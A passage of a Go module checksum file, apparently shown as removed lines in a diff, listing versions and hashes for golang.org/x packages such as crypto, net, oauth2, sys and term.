h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= -golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= -golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= -golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= -golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8= -golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa h1:idItI2DDfCokpg0N51B2VtiLdJ4vAuXC9fnCb2gACo4= -golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= -golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= -golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= -golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= -golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= -golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= -golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= -golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= -golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= -golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= -golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= -golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5 h1:2M3HP5CCK1Si9FQhwnzYhXdG6DXeebvUHFpre8QvbyI= -golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= -golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= -golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= -golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo= -golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/net v0.0.0-20180530234432-1e491301e022/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180811021610-c39426892332/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= -golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20191009170851-d66e71096ffb/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20191126235420-ef20fe5d7933/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= -golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= -golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= -golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= -golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210224082022-3d97a244fca7/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210326060303-6b1517762897/go.mod h1:uSPa2vr4CLtc/ILN5odXGNXS6mhrKVzTaCXzk9m6W3k= -golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= -golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211216030914-fe4d6282115f h1:hEYJvxw1lSnWIl8X9ofsYMklzaDs90JI2az5YMd4fPM= -golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c h1:pkQiBZBvdos9qq4wBAHqlzuZHEXo07pqV06ef90u1WI= -golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502175342-a43fa875dd82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190509141414-a5b02f93d862/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190616124812-15dcb6c0061f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191128015809-6d18c012aee9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210324051608-47abb6519492/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210426230700-d19ff857e887/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210502180810-71e4cd670f79/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e h1:WUoyKPm6nCo1BnNUvPGnFG3T5DUVem42yDJZZ4CNxMA= -golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= -golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d h1:SZxvLBoTP5yHO3Frd4z4vrF+DBX9vMVanchswa69toE= 